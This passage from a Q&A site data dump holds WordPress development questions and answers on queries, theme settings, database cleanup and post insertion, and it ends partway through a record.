  <row Id="15102" PostTypeId="2" ParentId="15101" CreationDate="2011-04-19T10:10:31.200" Score="1" ViewCount="" Body="&lt;p&gt;These files are not loaded directly, but similar to regular template files, only after the &lt;code&gt;WP&lt;/code&gt; class is initialized. This class does the main query, which already can include the comments if the correct query variables are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The execution flow is a follows, starting in the main &lt;code&gt;index.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require('./wp-blog-header.php');&#xA;    require_once( dirname(__FILE__) . '/wp-load.php' );&#xA;        // Initialization of settings, plugins, theme&#xA;    wp();&#xA;        WP::main();&#xA;            WP::init();&#xA;            WP::parse_request();&#xA;                // Parse `/feed/` and `/comments/feed/` and set the query variables&#xA;            WP::send_headers();&#xA;            WP::query_posts();&#xA;                WP::build_query_string();&#xA;                WP_Query::query();&#xA;                    WP_Query::init();&#xA;                    WP_Query::get_posts();&#xA;                        // This does the actual query&#xA;                        // `pre_get_posts` is the action you'll probably want to use&#xA;            WP::handle_404();&#xA;            WP::register_globals();&#xA;    require_once( ABSPATH . WPINC . '/template-loader.php' );&#xA;        if ( is_feed() ) {&#xA;            do_feed();&#xA;                // This calls the `do_feed_[feedtype]` action, e.g. rss2&#xA;                    do_feed_rss2( $for_comments );&#xA;                        if ( $for_comments )&#xA;                            load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );&#xA;                        else&#xA;                            load_template( ABSPATH . WPINC . '/feed-rss2.php' );&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-19T10:10:31.200" />
  <row Id="15103" PostTypeId="1" CreationDate="2011-04-19T10:29:25.713" Score="0" ViewCount="94" Body="&lt;p&gt;I have a simple site that shows one random post when you reach it. This post then has a link below it that, when clicked, will pull in another random post to that homepage,  excluding all posts from the category that the current post is in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg. A post from category 'Bikes' is shown. Below it is a link that needs to replace that post with another random post from all the categories excluding the posts in 'Bikes'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am finding it easy to find code for excluding a set category but i can't find a way to read what post category is shown on the page and exclude only that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would greatly appreciate any advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress&#xA;Version 3.1&lt;/p&gt;&#xA;" OwnerUserId="4764" LastActivityDate="2011-08-18T06:26:19.440" Title="Exclude the category of the current post" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="15104" PostTypeId="2" ParentId="15103" CreationDate="2011-04-19T10:47:54.880" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_get_post_categories()&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_categories&quot; rel=&quot;nofollow&quot;&gt;(Codex reference)&lt;/a&gt; is used to get the categories for a post&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-19T10:47:54.880" />
  <row Id="15105" PostTypeId="1" CreationDate="2011-04-19T11:07:03.580" Score="0" ViewCount="56" Body="&lt;p&gt;I need an easy way to create a set of users who cannot interact with the other users, all they can do is administrate a group (they can upload documents to the group-documents plugin and maybe change the name and description and avatar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that they're not allowed to have a profile, they're not allowed to interact with other users, post to groups or anything. All they can do is log in and administrate their group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I'd greatly prefer to create this in plugin format, and don't really want to edit any core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-04-19T11:07:03.580" Title="Buddypress - New user type with no profile and can't interact but can be admin of a group" Tags="&lt;users&gt;&lt;buddypress&gt;" />
  <row Id="15108" PostTypeId="1" AcceptedAnswerId="15111" CreationDate="2011-04-19T12:15:43.593" Score="1" ViewCount="152" Body="&lt;p&gt;I created some posts using a custom post type, then I decided to delete this custom post type but of course the old posts remained orphan inside the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remove these orphan posts and all related attachment (post meta, etc.) safely from DB?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-04-19T12:40:10.333" Title="How does one delete orphan custom post type?" Tags="&lt;custom-post-types&gt;&lt;cleanup&gt;" AnswerCount="2" />
  <row Id="15109" PostTypeId="2" ParentId="3523" CreationDate="2011-04-19T12:24:59.843" Score="0" ViewCount="" Body="&lt;p&gt;Here’s a solution I came up with using the *attachment_fields_to_edit* hook in a filter.  It allows you to modify the HTML generated for the admin screen to add a new image.  It will not fix or alter any existing posts, but it will make the large image size the default when you add a new image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details here:&#xA;&lt;a href=&quot;http://posterous.jefflundberg.com/make-wordpress-image-link-to-large-image-inst&quot; rel=&quot;nofollow&quot;&gt;http://posterous.jefflundberg.com/make-wordpress-image-link-to-large-image-inst&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4765" LastActivityDate="2011-04-19T12:24:59.843" />
  <row Id="15110" PostTypeId="2" ParentId="15108" CreationDate="2011-04-19T12:26:42.963" Score="0" ViewCount="" Body="&lt;p&gt;You need to use a few SQL queries, you can run them in something like PHPMyADMIN&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM wp_posts WHERE `post_type` = 'customposttypename'&#xA;DELETE FROM wp_post_meta WHERE `meta_key` = 'metakeyname'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above two will get you started. You may need to run other queries to clean up other entries but only you will know what other stuff you've inserted into your DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A word of warning! MAKE SURE YOU BACKUP YOUR DATABASE FIRST. And also before you run the DELETE query use a SELECT * FROM first to check whats returned and thats what you want to be deleted.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-19T12:26:42.963" CommentCount="1" />
  <row Id="15111" PostTypeId="2" ParentId="15108" CreationDate="2011-04-19T12:40:10.333" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;DELETE a,b,c FROM wp_posts a&#xA;LEFT JOIN wp_term_relationships b ON (a.ID=b.object_id)&#xA;LEFT JOIN wp_postmeta c ON (a.ID=c.post_id)&#xA;WHERE a.post_type='customposttype'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-04-19T12:40:10.333" />
  <row Id="15112" PostTypeId="1" CreationDate="2011-04-19T12:45:38.523" Score="1" ViewCount="187" Body="&lt;p&gt;commerce experts,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing an e-commerce website using WordPress and WP e-commerce.&#xA;All works fine but I have a little problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to select the shipping costs calculation method according to delivery location:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if the delivery location is local I would use the &quot;Table rate&quot; method&lt;/li&gt;&#xA;&lt;li&gt;if the delivery location is internation I would use the &quot;Flat rate&quot; method&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I add this feature?&#xA;Is there an extension (also commercial)?&#xA;Alternatively, where can I edit the PHP code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4766" LastActivityDate="2011-04-28T09:35:04.617" Title="WP e-commerce: How to select the shipping costs calculation method according to delivery location" Tags="&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" />
  <row Id="15113" PostTypeId="2" ParentId="11761" CreationDate="2011-04-19T12:59:38.067" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure why your scripts won't load when you install a child theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when you want to load scripts from a &lt;strong&gt;child theme&lt;/strong&gt; you'll want to use &lt;strong&gt;get_stylesheet_directory()&lt;/strong&gt; instead of &lt;strong&gt;get_template_directory_uri()&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The differnece between the two is that get_template_directory_uri() will always refer to the parent theme, whereas &lt;strong&gt;get_stylesheet_directory()&lt;/strong&gt; will refer to the directory of the stylesheet being used. When using a Child theme it automatically will fetch the Child themes url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps, good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_stylesheet_directory&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_stylesheet_directory&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4767" LastActivityDate="2011-04-19T12:59:38.067" CommentCount="1" />
  <row Id="15114" PostTypeId="1" CreationDate="2011-04-19T13:54:12.987" Score="2" ViewCount="133" Body="&lt;p&gt;I need to list completed (meta_value) projects for each year (meta_value), like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2006&lt;br&gt;&#xA;- Project 1&lt;br&gt;&#xA;- Project 2&lt;br&gt;&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2005&lt;br&gt;&#xA;- Project 3 &#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found (&lt;a href=&quot;http://wordpress.org/support/topic/display-meta-values-and-posts-with-that-value&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) a great piece of code to deal with I'm after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // List posts by a Custom Field's values&#xA;$meta_key = 'year';  // The meta_key of the Custom Field&#xA;$sql = &quot;&#xA;   SELECT p.*,m.meta_value&#xA;   FROM $wpdb-&amp;gt;posts p&#xA;   LEFT JOIN $wpdb-&amp;gt;postmeta m ON (p.ID = m.post_id)&#xA;   WHERE p.post_type = 'post'&#xA;      AND p.post_status = 'project'&#xA;      AND m.meta_key = '$meta_key'&#xA;   ORDER BY m.meta_value, p.post_date DESC&#xA;&quot;;&#xA;$rows = $wpdb-&amp;gt;get_results($sql);&#xA;if ($rows) {&#xA;   foreach ($rows as $post) {&#xA;      setup_postdata($post);&#xA;      if ($post-&amp;gt;meta_value != $current_value) {&#xA;         echo &quot;&amp;lt;h3&amp;gt;$post-&amp;gt;meta_value&amp;lt;/h3&amp;gt;&quot;;&#xA;         $current_value = $post-&amp;gt;meta_value;&#xA;      }&#xA;      // Put code here to display the post&#xA;      the_title();&#xA;   }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I still have (1) a further request on the code and (2) a problem with it, which are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I need to filter the query by&#xA;another meta_key (key state: value&#xA;completed).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I use WPML and the post list&#xA;displays both the post and it's&#xA;translation (it should only get the&#xA;current language posts)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2816" LastActivityDate="2011-08-17T23:26:12.597" Title="List posts under meta_value heading" Tags="&lt;post-meta&gt;&lt;list&gt;" AnswerCount="1" />
  <row Id="15115" PostTypeId="1" CreationDate="2011-04-19T13:58:24.743" Score="1" ViewCount="108" Body="&lt;p&gt;I bought a theme from Themeforest called Anan. I am currently hosting the site on Bluehost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the problem: every few days the theme settings keep getting erased (reset) so I have to re-upload logos and background images and it's driving me crazy. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a copy of the functions.php file in a text file in my public dropbox folder if anyone can look at it:&#xA;&lt;a href=&quot;http://dl.dropbox.com/u/4016505/functions.txt&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/4016505/functions.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-04-19T15:59:40.253" Title="Theme settings keep getting reset/erased" Tags="&lt;theme-development&gt;&lt;settings&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="15116" PostTypeId="2" ParentId="14622" CreationDate="2011-04-19T14:07:20.640" Score="2" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://wordpress.org/extend/plugins/cms-tree-page-view/&quot; rel=&quot;nofollow&quot;&gt;CMS Tree Page View&lt;/a&gt; plugin (my favorite) or the &lt;a href=&quot;http://wordpress.org/extend/plugins/easily-navigate-pages-on-your-dashboard/&quot; rel=&quot;nofollow&quot;&gt;Easily navigate pages on dashboard&lt;/a&gt; plugin. Both allow you to have a list of your pages on the Dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NeSGR.jpg&quot; alt=&quot;Easily navigate pages screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you should be able to add that panel using this reference:&#xA;add_meta_box to integrate the box that appears on the Dashboard (see wp_add_dashboard_widget in functions.php of CMS Tree Page View)&lt;/p&gt;&#xA;" OwnerUserId="2001" LastEditorUserId="2001" LastEditorDisplayName="" LastEditDate="2011-04-19T15:44:31.997" LastActivityDate="2011-04-19T15:44:31.997" CommentCount="3" />
  <row Id="15117" PostTypeId="2" ParentId="15024" CreationDate="2011-04-19T14:25:08.167" Score="1" ViewCount="" Body="&lt;p&gt;This way everything works... but take a look at Jans approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15024_modify_widget_params( $params )&#xA;{&#xA;    // These are the targets. Modify them here:&#xA;    $targeted_sidebar = 'sidebar-bottom';&#xA;    $targeted_widget = (int) 3;&#xA;&#xA;    $sidebars_widgets = wp_get_sidebars_widgets();&#xA;&#xA;    if ( $params[0]['id'] == $targeted_sidebar &amp;amp;&amp;amp; $params[0]['widget_id'] == $sidebars_widgets[$targeted_sidebar][$targeted_widget] )&#xA;    {&#xA;        $params[0]['before_widget'] = '&amp;lt;div id=&quot;'.@$params[0]['widget_id'].'&quot; class=&quot;span-6 last&quot;&amp;gt;';&#xA;    }&#xA;&#xA;    return $params;&#xA;}&#xA;add_filter( 'dynamic_sidebar_params', 'wpse15024_modify_widget_params' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-20T12:13:04.763" LastActivityDate="2011-04-20T12:13:04.763" />
  <row Id="15118" PostTypeId="2" ParentId="15094" CreationDate="2011-04-19T14:47:51.703" Score="0" ViewCount="" Body="&lt;p&gt;I think this can be broken up into two topics...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) The first thing would be how to use and create content in WordPress. &#xA;2.) The other is theme customization or development. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think WP101.com is a great and cheap way to understand the differences and similarities between pages and posts by simply watching the well edited videos. It will also let you understand the concepts of a blog, static home page, page templates, and how to use sidebars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to look into GUI based WordPress theme builders like Pagelines Platform Pro ( a lite version with limited features is free at WordPress.org), Headway, and iThemes Builder. These let you create and modify the layout of WordPress sites with visual controls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you shouldn't have to use Visual Studio to build your content pages because then you're almost negating the advantages of using something like WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to use Visual Studio to build WordPress themes later though.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-04-19T14:47:51.703" />
  <row Id="15119" PostTypeId="1" CreationDate="2011-04-19T14:54:54.827" Score="1" ViewCount="63" Body="&lt;p&gt;Currently theming MailPress, finding it somewhat annoying as a PHP novice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(new to Wordpress... this was easy with Drupal)&lt;/p&gt;&#xA;" OwnerUserId="4768" LastActivityDate="2011-04-19T14:56:46.950" Title="Best, most easily-themed mailing/newsletter setup?" Tags="&lt;mailing-list&gt;&lt;newsletter&gt;" AnswerCount="1" />
  <row Id="15120" PostTypeId="2" ParentId="15119" CreationDate="2011-04-19T14:56:46.950" Score="1" ViewCount="" Body="&lt;p&gt;Bit subjective this, but the mailchimp plugin is really good. I've been using it for ages and have had some good success at styling it.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-04-19T14:56:46.950" CommentCount="2" />
  <row Id="15121" PostTypeId="1" AcceptedAnswerId="15126" CreationDate="2011-04-19T15:07:06.757" Score="1" ViewCount="76" Body="&lt;p&gt;Should a breadcrumbs navigation have links set to rel=&quot;nofollow&quot;?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-19T15:30:44.600" Title="breadcrumbs &amp; rel=&quot;nofollow&quot;" Tags="&lt;permalinks&gt;&lt;nofollow&gt;&lt;breadcrumb&gt;" AnswerCount="1" />
  <row Id="15122" PostTypeId="2" ParentId="261" CreationDate="2011-04-19T15:07:29.427" Score="1" ViewCount="" Body="&lt;p&gt;Also check out ScribeFire Next. It's a Firefox plugin that lets you write blog posts while viewing other web pages. &lt;a href=&quot;http://www.scribefire.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.scribefire.com/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-04-19T15:07:29.427" CommunityOwnedDate="2011-04-19T15:07:29.427" />
  <row Id="15123" PostTypeId="2" ParentId="15114" CreationDate="2011-04-19T15:19:59.290" Score="0" ViewCount="" Body="&lt;p&gt;You should use some of WordPress's built in functions, there is even a new meta compare parameter. You can create, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$state =  get_post_meta($post-&amp;gt;ID, 'meta_state', true);  //the meta value to compare&#xA;$query = new WP_Query&#xA;              ( array( &#xA;               'meta_key' =&amp;gt; 'project', &#xA;               'meta_value' =&amp;gt; '$state', &#xA;               'meta_compare' =&amp;gt; '&amp;lt;=', &#xA;               'post_type' =&amp;gt; 'projects' ) );&#xA;&#xA;//spit them out into yearly dates using a conditional tag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-19T15:19:59.290" CommentCount="3" />
  <row Id="15124" PostTypeId="1" AcceptedAnswerId="15711" CreationDate="2011-04-19T15:21:44.017" Score="4" ViewCount="119" Body="&lt;p&gt;Consolidating several blogs into a single multisite instance - we have 2 sets of blogs - active and archived.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of adding &lt;code&gt;/archive/&lt;/code&gt; to the URLs of the archived blogs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as an example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An active blog would be accessed via &lt;code&gt;www.domain.com/blogname&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;An archived blog would be accessed via &lt;code&gt;www.domain.com/archived/blogname&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've taken a look at a couple of domain mapping plugins (including the WPMU Dev) one, but I don't think they do what I need.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-27T02:43:29.767" Title="Multisite - sub-subfolders for certain blogs" Tags="&lt;multisite&gt;&lt;urls&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="15125" PostTypeId="2" ParentId="15094" CreationDate="2011-04-19T15:25:19.680" Score="1" ViewCount="" Body="&lt;p&gt;You could make an empty template like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Static Pages Template&#xA;*/&#xA;the_content();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and simply paste your existing html-code into the html editor and use the shown template. This will avoid calling wp headers and display your content exactly like you have seen it until switching to wp.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-19T15:25:19.680" />
  <row Id="15126" PostTypeId="2" ParentId="15121" CreationDate="2011-04-19T15:30:44.600" Score="2" ViewCount="" Body="&lt;p&gt;I think it depends what your goal is and what the breadcrumbs represent. I would say that for most wordpress sites nofollow on breadcrumbs is probably a nonissue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with nofollow. Nofollow says you don't want a search engine to pass on page rank to this link. So if you had comment links and people can post their personal website you would probably use nofollow. This makes spamming your website link pointless because the links aren't being followed anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nofollow is also important because page rank flows evenly between links on the page. So if you have three links that are really important to you and then a hundred comments with random websites in them, you don't want page rank getting split 103 ways. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your question. If the breadcrumb items are important for search engines then have them followed. If you don't care about your breadcrumbs getting indexed then nofollow them. If it were me I would probably have my root node followed, the front page of my blog, and I would not have child nodes followed because those are just categories.&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-04-19T15:30:44.600" CommentCount="4" />
  <row Id="15127" PostTypeId="2" ParentId="15115" CreationDate="2011-04-19T15:48:23.883" Score="2" ViewCount="" Body="&lt;p&gt;Try changing this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if(isset($_POST['field_id']) &amp;amp;&amp;amp; !empty($_POST['field_id']))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if(isset($_POST['field_id']) &amp;amp;&amp;amp; !empty($_POST['field_id']) &amp;amp;&amp;amp; current_user_can('update_core'))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;function pp_add_admin() {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pp_add_admin() {&#xA;if(!current_user_can('update_core')) return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and ask for a refund :)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-04-19T15:59:40.253" LastActivityDate="2011-04-19T15:59:40.253" CommentCount="2" />
  <row Id="15128" PostTypeId="1" CreationDate="2011-04-19T16:18:28.020" Score="1" ViewCount="147" Body="&lt;p&gt;I have a WP site. Now wanna create an iPhone app base on the content from my site so that the visitors can read my site easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanna create one just like the iPhone app by Mashable (the Mashable should be based on WP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://itunes.apple.com/us/app/mashable/id356202138?mt=8&quot; rel=&quot;nofollow&quot;&gt;http://itunes.apple.com/us/app/mashable/id356202138?mt=8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can advise me how should I start?&#xA;Or any template of such?&lt;/p&gt;&#xA;" OwnerUserId="4252" LastActivityDate="2011-05-19T17:46:08.007" Title="How to create an iPhone app base on the content from a Wordpress site? (Just like the one by Mashable)" Tags="&lt;iphone&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15129" PostTypeId="1" CreationDate="2011-04-19T16:32:09.477" Score="0" ViewCount="145" Body="&lt;p&gt;I'm trying to programatically insert posts from an external MySQL database as posts on my wordpress blog, I've got something that works, but there is no way of wordpress checking to see if the post already exists before it inserts a new post at the moment, so I'm getting lots of duplicate entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure for anyone who knows how, we're talking about some simple conditional if, else statements here, but I can't get my head around what to check for to make sure that the post hasn't already been added to the wordpress database? I've figured its something of a distinction between wp_insert_post and wp_update_post, I just can't figure out what to check against and how I get wordpress to check each entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to add some custom_meta data? Or can the conditional statement check against the title or date for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really appreciate any help of advice anyone can suggest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    if( ) {&#xA;&#xA;                    // Create post object&#xA;                    $post = array();&#xA;                    $post['post_title'] = $user .&quot; said &quot; . $text;&#xA;                    $post['post_content'] = &quot;&amp;lt;div class='tweet'&amp;gt;&amp;lt;a href='&quot; . $user_url . &quot;'&amp;gt;&amp;lt;img class='photo' src='&quot; . $image . &quot;' alt='&quot; . $user . &quot;' /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;a href='&quot; . $user_url . &quot;'&amp;gt;&quot; . $user . &quot;&amp;lt;/a&amp;gt; &amp;lt;strong&amp;gt;&quot; . $date .&quot;: &amp;lt;/strong&amp;gt;&amp;lt;p&amp;gt;&quot; . $text . &quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;\n&quot;;&#xA;                    $post['post_status'] = 'publish';&#xA;                    $post['post_date'] = date(&quot;jS F Y, G:i.s&quot;, $date);&#xA;                    //$post['post_type'] =&amp;gt; 'post';&#xA;&#xA;                    // Insert the post into the database&#xA;                    wp_insert_post( $post );&#xA;&#xA;                 }&#xA;                 else {&#xA;                    // Update post object&#xA;                    $post = array();&#xA;                    $post['post_title'] = $user .&quot; said &quot; . $text;&#xA;                    $post['post_content'] = &quot;&amp;lt;div class='tweet'&amp;gt;&amp;lt;a href='&quot; . $user_url . &quot;'&amp;gt;&amp;lt;img class='photo' src='&quot; . $image . &quot;' alt='&quot; . $user . &quot;' /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;a href='&quot; . $user_url . &quot;'&amp;gt;&quot; . $user . &quot;&amp;lt;/a&amp;gt; &amp;lt;strong&amp;gt;&quot; . $date .&quot;: &amp;lt;/strong&amp;gt;&amp;lt;p&amp;gt;&quot; . $text . &quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;\n&quot;;&#xA;                    $post['post_status'] = 'publish';&#xA;                    $post['post_date'] = date(&quot;jS F Y, G:i.s&quot;, $date);&#xA;                    //$post['post_type'] =&amp;gt; 'post';&#xA;&#xA;&#xA;                    // Insert the post into the database&#xA;                    wp_update_post( $post );&#xA;             }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4769" LastActivityDate="2011-08-18T00:26:12.903" Title="Help on conditional statement to accompany wp_insert_post function please?" Tags="&lt;posts&gt;&lt;functions&gt;&lt;3.1&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="15130" PostTypeId="2" ParentId="14286" CreationDate="2011-04-19T16:32:57.527" Score="0" ViewCount="" Body="&lt;p&gt;sorry for my late reply, work and family life took control, regarding the issue i had, i tried John P Bloch suggestion and it resolved to being exactly the same: user role = None and No Role For This Site, i did quite a lot of researching via codex and couldnt realy come up with much, it dawned on me that im using a theme that sets user role as contributer on sign-up by default, so i tried the little block below and it does exactly what i need which is when user role is changed from custom role to Contributer, shows them in wp user panel as being a contributer rather than having no role.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$current_user-&amp;gt;set_role( 'contributer' );&#xA;$current_user-&amp;gt;set_role(get_option('default_role'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dont know if its truly semantic from a WP way of doing this but it seems to be working the way i want it to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards Martin&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-19T16:32:57.527" />
  <row Id="15131" PostTypeId="2" ParentId="15129" CreationDate="2011-04-19T16:38:05.433" Score="0" ViewCount="" Body="&lt;p&gt;What sort of unique data are returned by your external SQL query? I would assume that you would need to insert some sort of unique data (e.g. primary key from the external DB) as either $post data or metadata, and then your conditional could look for the existence of these unique data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could hash the postdata from the external DB, and then store the hash value as $post metadata, and query on the existence of the hash value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To query for specific $post metadata, use the &lt;code&gt;get_post_custom()&lt;/code&gt; function (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;). e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypostcustom = get_post_custom( $post-&amp;gt;ID );&#xA;&#xA;if ( ! isset( $mypostcustom['unique_query_data'] ) ) {&#xA;     // Unique query data not found; do something&#xA;} else {&#xA;     // Unique query data found; do something else&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: this assumes that you've already worked out how to add the custom post meta, e.g. via &lt;code&gt;add_post_meta()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_post_meta&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" 